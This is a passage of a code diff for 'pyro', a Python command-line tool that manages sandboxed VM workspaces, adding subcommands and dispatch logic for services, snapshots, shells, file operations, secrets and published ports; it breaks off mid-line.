workspace_service_start_parser.add_argument( + "--ready-http", + help="Mark the service ready once this guest-local URL returns 2xx or 3xx.", + ) + workspace_service_start_parser.add_argument( + "--ready-command", + help="Escape hatch readiness probe command. Use typed readiness when possible.", + ) + workspace_service_start_parser.add_argument( + "--ready-timeout-seconds", + type=int, + default=DEFAULT_SERVICE_READY_TIMEOUT_SECONDS, + help="Maximum time to wait for readiness before failing the service start.", + ) + workspace_service_start_parser.add_argument( + "--ready-interval-ms", + type=int, + default=DEFAULT_SERVICE_READY_INTERVAL_MS, + help="Polling interval between readiness checks.", + ) + workspace_service_start_parser.add_argument( + "--secret-env", + action="append", + default=[], + metavar="SECRET[=ENV_VAR]", + help="Expose one persisted workspace secret as an environment variable for this service.", + ) + workspace_service_start_parser.add_argument( + "--publish", + action="append", + default=[], + metavar="GUEST_PORT|HOST_PORT:GUEST_PORT", + help=( + "Publish one guest TCP port on 127.0.0.1. Requires workspace network policy " + "`egress+published-ports`." + ), + ) + workspace_service_start_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_service_start_parser.add_argument( + "command_args", + nargs="*", + metavar="ARG", + help="Service command and arguments. Prefix them with `--`.", + ) + workspace_service_list_parser = workspace_service_subparsers.add_parser( + "list", + help="List named services in one workspace.", + description="List named services and their current states for one workspace.", + epilog="Example:\n pyro workspace service list WORKSPACE_ID", + formatter_class=_HelpFormatter, + ) + workspace_service_list_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_service_list_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_service_status_parser = workspace_service_subparsers.add_parser( + "status", + help="Inspect one service.", + description="Show state and readiness metadata for one named workspace service.", + epilog="Example:\n pyro workspace service status WORKSPACE_ID app", + formatter_class=_HelpFormatter, + ) + workspace_service_status_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_service_status_parser.add_argument("service_name", metavar="SERVICE_NAME") + workspace_service_status_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_service_logs_parser = workspace_service_subparsers.add_parser( + "logs", + help="Read persisted service stdout and stderr.", + description="Read service stdout and stderr without using `workspace logs`.", + epilog="Example:\n pyro workspace service logs WORKSPACE_ID app --tail-lines 50", + formatter_class=_HelpFormatter, + ) + workspace_service_logs_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_service_logs_parser.add_argument("service_name", metavar="SERVICE_NAME") + workspace_service_logs_parser.add_argument( + "--tail-lines", + type=int, + default=DEFAULT_SERVICE_LOG_TAIL_LINES, + help="Maximum number of trailing lines to return from each service log stream.", + ) + workspace_service_logs_parser.add_argument( + "--all", + action="store_true", + help="Return full stdout and stderr instead of tailing them.", + ) + workspace_service_logs_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_service_stop_parser = workspace_service_subparsers.add_parser( + "stop", + help="Stop one running service.", + description="Stop one named workspace service with TERM then KILL fallback.", + epilog="Example:\n pyro workspace service stop WORKSPACE_ID app", + formatter_class=_HelpFormatter, + ) + workspace_service_stop_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_service_stop_parser.add_argument("service_name", metavar="SERVICE_NAME") + workspace_service_stop_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_list_parser = workspace_subparsers.add_parser( + "list", + help="List persisted workspaces.", + description="List persisted workspaces with names, labels, state, and activity ordering.", + epilog="Example:\n pyro workspace list", + formatter_class=_HelpFormatter, + ) + workspace_list_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_update_parser = workspace_subparsers.add_parser( + "update", + help="Update workspace name or labels.", + description="Update discovery metadata for one existing workspace.", + epilog=dedent( + """ + Examples: + pyro workspace update WORKSPACE_ID --name repro-fix + pyro workspace update WORKSPACE_ID --label owner=codex --label issue=123 + pyro workspace update WORKSPACE_ID --clear-label issue --clear-name + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_update_parser.add_argument("workspace_id", metavar="WORKSPACE_ID") + workspace_update_parser.add_argument("--name", help="Set or replace the workspace name.") + workspace_update_parser.add_argument( + "--clear-name", + action="store_true", + help="Clear the current workspace name.", + ) + workspace_update_parser.add_argument( + "--label", + action="append", + default=[], + metavar="KEY=VALUE", + help="Upsert one workspace label. May be repeated.", + ) + workspace_update_parser.add_argument( + "--clear-label", + action="append", + default=[], + metavar="KEY", + help="Remove one workspace label key. May be repeated.", + ) + workspace_update_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_status_parser = workspace_subparsers.add_parser( + "status", + help="Inspect one workspace.", + description="Show workspace state, sizing, workspace path, and latest command metadata.", + epilog="Example:\n pyro workspace status WORKSPACE_ID", + formatter_class=_HelpFormatter, + ) + workspace_status_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_status_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_summary_parser = workspace_subparsers.add_parser( + "summary", + help="Summarize the current workspace session for review.", + description=( + "Summarize the current workspace session since the last reset, including recent " + "commands, edits, services, exports, snapshots, and current change status." + ), + epilog=dedent( + """ + Example: + pyro workspace summary WORKSPACE_ID + + Use `workspace logs`, `workspace diff`, and `workspace export` for drill-down. + """ + ), + formatter_class=_HelpFormatter, + ) + workspace_summary_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_summary_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_logs_parser = workspace_subparsers.add_parser( + "logs", + help="Show command history for one workspace.", + description=( + "Show persisted command history, including stdout and stderr, for one workspace." + ), + epilog="Example:\n pyro workspace logs WORKSPACE_ID", + formatter_class=_HelpFormatter, + ) + workspace_logs_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_logs_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + workspace_delete_parser = workspace_subparsers.add_parser( + "delete", + help="Delete one workspace.", + description="Stop the backing sandbox if needed and remove the workspace.", + epilog="Example:\n pyro workspace delete WORKSPACE_ID", + formatter_class=_HelpFormatter, + ) + workspace_delete_parser.add_argument( + "workspace_id", + metavar="WORKSPACE_ID", + help="Persistent workspace identifier.", + ) + workspace_delete_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + + doctor_parser = subparsers.add_parser( + "doctor", + help="Inspect runtime and host diagnostics.", + description=( + "Check host prerequisites and embedded runtime health, plus " + "daily-loop warmth before your first run or before reconnecting a " + "chat host." + ), + epilog=dedent( + """ + Examples: + pyro doctor + pyro doctor --environment debian:12 + pyro doctor --json + """ + ), + formatter_class=_HelpFormatter, + ) + doctor_parser.add_argument( + "--platform", + default=DEFAULT_PLATFORM, + help="Runtime platform to inspect.", + ) + doctor_parser.add_argument( + "--environment", + default=DEFAULT_PREPARE_ENVIRONMENT, + help=( + "Environment to inspect for the daily-loop warm manifest. " + f"Defaults to `{DEFAULT_PREPARE_ENVIRONMENT}`." + ), + ) + doctor_parser.add_argument( + "--json", + action="store_true", + help="Print structured JSON instead of human-readable output.", + ) + + demo_parser = subparsers.add_parser( + "demo", + help="Run built-in demos.", + description="Run built-in demos after the basic CLI validation path works.", + epilog=dedent( + """ + Examples: + pyro demo + pyro demo --network + pyro demo ollama --verbose + """ + ), + formatter_class=_HelpFormatter, + ) + demo_subparsers = demo_parser.add_subparsers(dest="demo_command", metavar="DEMO") + demo_parser.add_argument( + "--network", + action="store_true", + help="Enable outbound guest networking for the deterministic demo.", + ) + ollama_parser = demo_subparsers.add_parser( + "ollama", + help="Run the Ollama MCP demo.", + description="Run the Ollama tool-calling demo against the `vm_run` and lifecycle tools.", + epilog=dedent( + """ + Example: + pyro demo ollama --model llama3.2:3b --verbose + """ + ), + formatter_class=_HelpFormatter, + ) + ollama_parser.add_argument( + "--base-url", + default=DEFAULT_OLLAMA_BASE_URL, + help="OpenAI-compatible base URL for the Ollama server.", + ) + ollama_parser.add_argument( + "--model", + default=DEFAULT_OLLAMA_MODEL, + help="Ollama model name to use for tool calling.", + ) + ollama_parser.add_argument( + "-v", + "--verbose", + action="store_true", + help="Print full tool loop output instead of only the summary.", + ) return parser @@ -68,49 +2727,927 @@ def _require_command(command_args: list[str]) -> str: if command_args and command_args[0] == "--": command_args = command_args[1:] if not command_args: - raise ValueError("command is required after `pyro run --`") - return " ".join(command_args) + raise ValueError("command is required after `--`") + return shlex.join(command_args) + + +def _read_utf8_text_file(path_value: str, *, option_name: str) -> str: + if path_value.strip() == "": + raise ValueError(f"{option_name} must not be empty") + candidate = Path(path_value).expanduser() + if not candidate.exists(): + raise ValueError(f"{option_name} file not found: {candidate}") + if candidate.is_dir(): + raise ValueError(f"{option_name} must point to a file, not a directory: {candidate}") + try: + return candidate.read_text(encoding="utf-8") + except UnicodeDecodeError as exc: + raise ValueError(f"{option_name} must contain UTF-8 text: {candidate}") from exc + + +def _parse_workspace_secret_option(value: str) -> dict[str, str]: + name, sep, secret_value = value.partition("=") + if sep == "" or name.strip() == "" or secret_value == "": + raise ValueError("workspace secrets must use NAME=VALUE") + return {"name": name.strip(), "value": secret_value} + + +def _parse_workspace_secret_file_option(value: str) -> dict[str, str]: + name, sep, file_path = value.partition("=") + if sep == "" or name.strip() == "" or file_path.strip() == "": + raise ValueError("workspace secret files must use NAME=PATH") + return {"name": name.strip(), "file_path": file_path.strip()} + + +def _parse_workspace_secret_env_options(values: list[str]) -> dict[str, str]: + parsed: dict[str, str] = {} + for raw_value in values: + secret_name, sep, env_name = raw_value.partition("=") + normalized_secret_name = secret_name.strip() + if normalized_secret_name == "": + raise ValueError("workspace secret env mappings must name a secret") + normalized_env_name = env_name.strip() if sep != "" else normalized_secret_name + if normalized_env_name == "": + raise ValueError("workspace secret env mappings must name an environment variable") + if normalized_secret_name in parsed: + raise ValueError( + f"workspace secret env mapping references {normalized_secret_name!r} more than once" + ) + parsed[normalized_secret_name] = normalized_env_name + return parsed + + +def _parse_workspace_label_options(values: list[str]) -> dict[str, str]: + parsed: dict[str, str] = {} + for raw_value in values: + key, sep, label_value = raw_value.partition("=") + if sep == "" or key.strip() == "" or label_value.strip() == "": + raise ValueError("workspace labels must use KEY=VALUE") + parsed[key.strip()] = label_value.strip() + return parsed + + +def _parse_workspace_clear_label_options(values: list[str]) -> list[str]: + parsed: list[str] = [] + for raw_value in values: + label_key = raw_value.strip() + if label_key == "": + raise ValueError("workspace clear-label values must not be empty") + parsed.append(label_key) + return parsed + + +def _parse_workspace_publish_options(values: list[str]) -> list[dict[str, int | None]]: + parsed: list[dict[str, int | None]] = [] + for raw_value in values: + candidate = raw_value.strip() + if candidate == "": + raise ValueError("published ports must not be empty") + if ":" in candidate: + raw_host_port, raw_guest_port = candidate.split(":", 1) + try: + host_port = int(raw_host_port) + guest_port = int(raw_guest_port) + except ValueError as exc: + raise ValueError( + "published ports must use GUEST_PORT or HOST_PORT:GUEST_PORT" + ) from exc + parsed.append({"host_port": host_port, "guest_port": guest_port}) + else: + try: + guest_port = int(candidate) + except ValueError as exc: + raise ValueError( + "published ports must use GUEST_PORT or HOST_PORT:GUEST_PORT" + ) from exc + parsed.append({"host_port": None, "guest_port": guest_port}) + return parsed def main() -> None: args = _build_parser().parse_args() pyro = Pyro() + if args.command == "prepare": + try: + payload = pyro.manager.prepare_daily_loop( + args.environment, + network=bool(args.network), + force=bool(args.force), + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_prepare_human(payload) + return if args.command == "env": if args.env_command == "list": - _print_json( - { - "catalog_version": DEFAULT_CATALOG_VERSION, - "environments": pyro.list_environments(), - } - ) + list_payload: dict[str, Any] = { + "catalog_version": DEFAULT_CATALOG_VERSION, + "environments": pyro.list_environments(), + } + if bool(args.json): + _print_json(list_payload) + else: + _print_env_list_human(list_payload) return if args.env_command == "pull": - _print_json(dict(pyro.pull_environment(args.environment))) + if bool(args.json): + pull_payload = pyro.pull_environment(args.environment) + _print_json(pull_payload) + else: + _print_phase("pull", phase="install", environment=args.environment) + pull_payload = pyro.pull_environment(args.environment) + _print_phase("pull", phase="ready", environment=args.environment) + _print_env_detail_human(pull_payload, action="Pulled") return if args.env_command == "inspect": - _print_json(dict(pyro.inspect_environment(args.environment))) + inspect_payload = pyro.inspect_environment(args.environment) + if bool(args.json): + _print_json(inspect_payload) + else: + _print_env_detail_human(inspect_payload, action="Environment") return if args.env_command == "prune": - _print_json(dict(pyro.prune_environments())) + prune_payload = pyro.prune_environments() + if bool(args.json): + _print_json(prune_payload) + else: + _print_prune_human(prune_payload) + return + if args.command == "host": + config = _build_host_server_config(args) + if args.host_command == "connect": + try: + payload = connect_cli_host(args.host, config=config) + except Exception as exc: # noqa: BLE001 + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + _print_host_connect_human(payload) + return + if args.host_command == "print-config": + try: + output_path = ( + None if args.output is None else Path(args.output).expanduser().resolve() + ) + payload = print_or_write_opencode_config(config=config, output_path=output_path) + except Exception as exc: # noqa: BLE001 + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + _print_host_print_config_human(payload) + return + if args.host_command == "doctor": + try: + config_path = ( + None + if args.config_path is None + else Path(args.config_path).expanduser().resolve() + ) + entries = doctor_hosts(config=config, config_path=config_path) + except Exception as exc: # noqa: BLE001 + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + _print_host_doctor_human(entries) + return + if args.host_command == "repair": + try: + if args.host != "opencode" and args.config_path is not None: + raise ValueError( + "--config-path is only supported for `pyro host repair opencode`" + ) + config_path = ( + None + if args.config_path is None + else Path(args.config_path).expanduser().resolve() + ) + payload = repair_host(args.host, config=config, config_path=config_path) + except Exception as exc: # noqa: BLE001 + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + _print_host_repair_human(payload) return if args.command == "mcp": - pyro.create_server().run(transport="stdio") + pyro.create_server( + profile=args.profile, + mode=getattr(args, "mode", None), + project_path=args.project_path, + repo_url=args.repo_url, + repo_ref=args.repo_ref, + no_project_source=bool(args.no_project_source), + ).run(transport="stdio") return if args.command == "run": command = _require_command(args.command_args) - result = pyro.run_in_vm( - environment=args.environment, - command=command, - vcpu_count=args.vcpu_count, - mem_mib=args.mem_mib, - timeout_seconds=args.timeout_seconds, - ttl_seconds=args.ttl_seconds, - network=args.network, - ) - _print_json(result) + if bool(args.json): + try: + result = pyro.run_in_vm( + environment=args.environment, + command=command, + vcpu_count=args.vcpu_count, + mem_mib=args.mem_mib, + timeout_seconds=args.timeout_seconds, + ttl_seconds=args.ttl_seconds, + network=args.network, + allow_host_compat=args.allow_host_compat, + ) + except Exception as exc: # noqa: BLE001 + _print_json({"ok": False, "error": str(exc)}) + raise SystemExit(1) from exc + _print_json(result) + else: + vm_id: str | None = None + try: + _print_phase("run", phase="create", environment=args.environment) + created = pyro.create_vm( + environment=args.environment, + vcpu_count=args.vcpu_count, + mem_mib=args.mem_mib, + ttl_seconds=args.ttl_seconds, + network=args.network, + allow_host_compat=args.allow_host_compat, + ) + vm_id = str(created["vm_id"]) + _print_phase("run", phase="start", vm_id=vm_id) + pyro.start_vm(vm_id) + _print_phase("run", phase="execute", vm_id=vm_id) + result = pyro.exec_vm(vm_id, command=command, timeout_seconds=args.timeout_seconds) + except Exception as exc: # noqa: BLE001 + if vm_id is not None: + try: + pyro.manager.delete_vm(vm_id, reason="run_vm_error_cleanup") + except ValueError: + pass + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + _print_run_human(result) + exit_code = int(result.get("exit_code", 1)) + if exit_code != 0: + raise SystemExit(exit_code) return + if args.command == "workspace": + if args.workspace_command == "create": + secrets = [ + *(_parse_workspace_secret_option(value) for value in getattr(args, "secret", [])), + *( + _parse_workspace_secret_file_option(value) + for value in getattr(args, "secret_file", []) + ), + ] + labels = _parse_workspace_label_options(getattr(args, "label", [])) + payload = pyro.create_workspace( + environment=args.environment, + vcpu_count=args.vcpu_count, + mem_mib=args.mem_mib, + ttl_seconds=args.ttl_seconds, + network_policy=getattr(args, "network_policy", "off"), + allow_host_compat=args.allow_host_compat, + seed_path=args.seed_path, + secrets=secrets or None, + name=args.name, + labels=labels or None, + ) + if bool(getattr(args, "id_only", False)): + _print_id_only(payload["workspace_id"]) + elif bool(args.json): + _print_json(payload) + else: + _print_workspace_summary_human(payload, action="Workspace") + return + if args.workspace_command == "list": + payload = pyro.list_workspaces() + if bool(args.json): + _print_json(payload) + else: + _print_workspace_list_human(payload) + return + if args.workspace_command == "update": + labels = _parse_workspace_label_options(getattr(args, "label", [])) + clear_labels = _parse_workspace_clear_label_options(getattr(args, "clear_label", [])) + try: + payload = pyro.update_workspace( + args.workspace_id, + name=args.name, + clear_name=bool(args.clear_name), + labels=labels or None, + clear_labels=clear_labels or None, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_summary_human(payload, action="Workspace") + return + if args.workspace_command == "exec": + command = _require_command(args.command_args) + secret_env = _parse_workspace_secret_env_options(getattr(args, "secret_env", [])) + if bool(args.json): + try: + payload = pyro.exec_workspace( + args.workspace_id, + command=command, + timeout_seconds=args.timeout_seconds, + secret_env=secret_env or None, + ) + except Exception as exc: # noqa: BLE001 + _print_json({"ok": False, "error": str(exc)}) + raise SystemExit(1) from exc + _print_json(payload) + else: + try: + payload = pyro.exec_workspace( + args.workspace_id, + command=command, + timeout_seconds=args.timeout_seconds, + secret_env=secret_env or None, + ) + except Exception as exc: # noqa: BLE001 + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + _print_workspace_exec_human(payload) + exit_code_raw = payload.get("exit_code", 1) + exit_code = exit_code_raw if isinstance(exit_code_raw, int) else 1 + if exit_code != 0: + raise SystemExit(exit_code) + return + if args.workspace_command == "sync" and args.workspace_sync_command == "push": + if bool(args.json): + try: + payload = pyro.push_workspace_sync( + args.workspace_id, + args.source_path, + dest=args.dest, + ) + except Exception as exc: # noqa: BLE001 + _print_json({"ok": False, "error": str(exc)}) + raise SystemExit(1) from exc + _print_json(payload) + else: + try: + payload = pyro.push_workspace_sync( + args.workspace_id, + args.source_path, + dest=args.dest, + ) + except Exception as exc: # noqa: BLE001 + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + _print_workspace_sync_human(payload) + return + if args.workspace_command == "export": + if bool(args.json): + try: + payload = pyro.export_workspace( + args.workspace_id, + args.path, + output_path=args.output, + ) + except Exception as exc: # noqa: BLE001 + _print_json({"ok": False, "error": str(exc)}) + raise SystemExit(1) from exc + _print_json(payload) + else: + try: + payload = pyro.export_workspace( + args.workspace_id, + args.path, + output_path=args.output, + ) + except Exception as exc: # noqa: BLE001 + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + _print_workspace_export_human(payload) + return + if args.workspace_command == "diff": + if bool(args.json): + try: + payload = pyro.diff_workspace(args.workspace_id) + except Exception as exc: # noqa: BLE001 + _print_json({"ok": False, "error": str(exc)}) + raise SystemExit(1) from exc + _print_json(payload) + else: + try: + payload = pyro.diff_workspace(args.workspace_id) + except Exception as exc: # noqa: BLE001 + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + _print_workspace_diff_human(payload) + return + if args.workspace_command == "file": + if args.workspace_file_command == "list": + try: + payload = pyro.list_workspace_files( + args.workspace_id, + path=args.path, + recursive=bool(args.recursive), + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_file_list_human(payload) + return + if args.workspace_file_command == "read": + try: + payload = pyro.read_workspace_file( + args.workspace_id, + args.path, + max_bytes=args.max_bytes, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_file_read_human( + payload, + content_only=bool(getattr(args, "content_only", False)), + ) + return + if args.workspace_file_command == "write": + text = ( + args.text + if getattr(args, "text", None) is not None + else _read_utf8_text_file(args.text_file, option_name="--text-file") + ) + try: + payload = pyro.write_workspace_file( + args.workspace_id, + args.path, + text=text, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_file_write_human(payload) + return + if args.workspace_command == "patch" and args.workspace_patch_command == "apply": + patch_text = ( + args.patch + if getattr(args, "patch", None) is not None + else _read_utf8_text_file(args.patch_file, option_name="--patch-file") + ) + try: + payload = pyro.apply_workspace_patch( + args.workspace_id, + patch=patch_text, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_patch_human(payload) + return + if args.workspace_command == "snapshot": + if args.workspace_snapshot_command == "create": + try: + payload = pyro.create_snapshot(args.workspace_id, args.snapshot_name) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_snapshot_human( + payload, + prefix="workspace-snapshot-create", + ) + return + if args.workspace_snapshot_command == "list": + try: + payload = pyro.list_snapshots(args.workspace_id) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_snapshot_list_human(payload) + return + if args.workspace_snapshot_command == "delete": + try: + payload = pyro.delete_snapshot(args.workspace_id, args.snapshot_name) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + print( + "Deleted workspace snapshot: " + f"{str(payload.get('snapshot_name', 'unknown'))}" + ) + return + if args.workspace_command == "reset": + try: + payload = pyro.reset_workspace( + args.workspace_id, + snapshot=args.snapshot, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_reset_human(payload) + return + if args.workspace_command == "stop": + try: + payload = pyro.stop_workspace(args.workspace_id) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_summary_human(payload, action="Stopped workspace") + return + if args.workspace_command == "start": + try: + payload = pyro.start_workspace(args.workspace_id) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_summary_human(payload, action="Started workspace") + return + if args.workspace_command == "disk": + if args.workspace_disk_command == "export": + try: + payload = pyro.export_workspace_disk( + args.workspace_id, + output_path=args.output, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_disk_export_human(payload) + return + if args.workspace_disk_command == "list": + try: + payload = pyro.list_workspace_disk( + args.workspace_id, + path=args.path, + recursive=bool(args.recursive), + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_disk_list_human(payload) + return + if args.workspace_disk_command == "read": + try: + payload = pyro.read_workspace_disk( + args.workspace_id, + args.path, + max_bytes=args.max_bytes, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_disk_read_human( + payload, + content_only=bool(getattr(args, "content_only", False)), + ) + return + if args.workspace_command == "shell": + if args.workspace_shell_command == "open": + secret_env = _parse_workspace_secret_env_options(getattr(args, "secret_env", [])) + try: + payload = pyro.open_shell( + args.workspace_id, + cwd=args.cwd, + cols=args.cols, + rows=args.rows, + secret_env=secret_env or None, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(getattr(args, "id_only", False)): + _print_id_only(payload["shell_id"]) + elif bool(args.json): + _print_json(payload) + else: + _print_workspace_shell_summary_human(payload, prefix="workspace-shell-open") + return + if args.workspace_shell_command == "read": + try: + payload = pyro.read_shell( + args.workspace_id, + args.shell_id, + cursor=args.cursor, + max_chars=args.max_chars, + plain=bool(args.plain), + wait_for_idle_ms=args.wait_for_idle_ms, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_shell_read_human(payload) + return + if args.workspace_shell_command == "write": + try: + payload = pyro.write_shell( + args.workspace_id, + args.shell_id, + input=args.input, + append_newline=not bool(args.no_newline), + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_shell_summary_human(payload, prefix="workspace-shell-write") + return + if args.workspace_shell_command == "signal": + try: + payload = pyro.signal_shell( + args.workspace_id, + args.shell_id, + signal_name=args.signal, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_shell_summary_human( + payload, + prefix="workspace-shell-signal", + ) + return + if args.workspace_shell_command == "close": + try: + payload = pyro.close_shell(args.workspace_id, args.shell_id) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_shell_summary_human(payload, prefix="workspace-shell-close") + return + if args.workspace_command == "service": + if args.workspace_service_command == "start": + readiness_count = sum( + value is not None + for value in ( + args.ready_file, + args.ready_tcp, + args.ready_http, + args.ready_command, + ) + ) + if readiness_count > 1: + error = ( + "choose at most one of --ready-file, --ready-tcp, " + "--ready-http, or --ready-command" + ) + if bool(args.json): + _print_json({"ok": False, "error": error}) + else: + print(f"[error] {error}", file=sys.stderr, flush=True) + raise SystemExit(1) + readiness: dict[str, Any] | None = None + if args.ready_file is not None: + readiness = {"type": "file", "path": args.ready_file} + elif args.ready_tcp is not None: + readiness = {"type": "tcp", "address": args.ready_tcp} + elif args.ready_http is not None: + readiness = {"type": "http", "url": args.ready_http} + elif args.ready_command is not None: + readiness = {"type": "command", "command": args.ready_command} + command = _require_command(args.command_args) + secret_env = _parse_workspace_secret_env_options(getattr(args, "secret_env", [])) + published_ports = _parse_workspace_publish_options(getattr(args, "publish", [])) + try: + payload = pyro.start_service( + args.workspace_id, + args.service_name, + command=command, + cwd=args.cwd, + readiness=readiness, + ready_timeout_seconds=args.ready_timeout_seconds, + ready_interval_ms=args.ready_interval_ms, + secret_env=secret_env or None, + published_ports=published_ports or None, + ) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_service_summary_human( + payload, + prefix="workspace-service-start", + ) + return + if args.workspace_service_command == "list": + try: + payload = pyro.list_services(args.workspace_id) + except Exception as exc: # noqa: BLE001 + if bool(args.json): + _print_json({"ok": False, "error": str(exc)}) + else: + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc + if bool(args.json): + _print_json(payload) + else: + _print_workspace_service_list_human(payload) + return + if args.workspace_service_command == "status": + try: + payload = pyro.status_service(args.workspace_id, args.service_name) + except Exception as exc: # noqa: 